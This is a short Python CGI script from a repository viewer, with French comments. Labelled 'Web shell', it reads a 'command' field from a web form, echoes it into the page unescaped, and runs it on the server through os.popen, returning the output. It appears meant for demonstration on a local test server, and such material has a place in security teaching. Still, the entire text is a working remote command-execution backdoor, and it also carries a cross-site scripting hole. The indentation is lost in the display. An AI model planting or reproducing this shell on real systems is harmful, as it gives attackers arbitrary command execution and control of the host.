blob: ba8cecd0a0cd4ffca7475eba7926898a4e6dbcb6 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
#!/usr/bin/env python3
# après avoir lancé le serveur : python3 -m http.server --cgi
# placer le script (rendu exécutable) dans /cgi-bin...
import cgi
import os
form = cgi.FieldStorage()
if form.getvalue('command'):
cmd = form.getvalue('command')
print("Content-Type: text/html; charset=UTF-8\n\n")
print ("""
<html>
<head>
<title>Web shell</title>
</head>
<body>
<h1>Web shell</h1>
""")
print("<p>Votre commande : ")
if cmd : print(cmd)
print("</p>")
print("""
<form action=''>
<input type='text' name='command'>
</form>
""")
if cmd : print("<pre>",os.popen(cmd).read(),"</pre>")
print("""
</body>
</html>
""")
|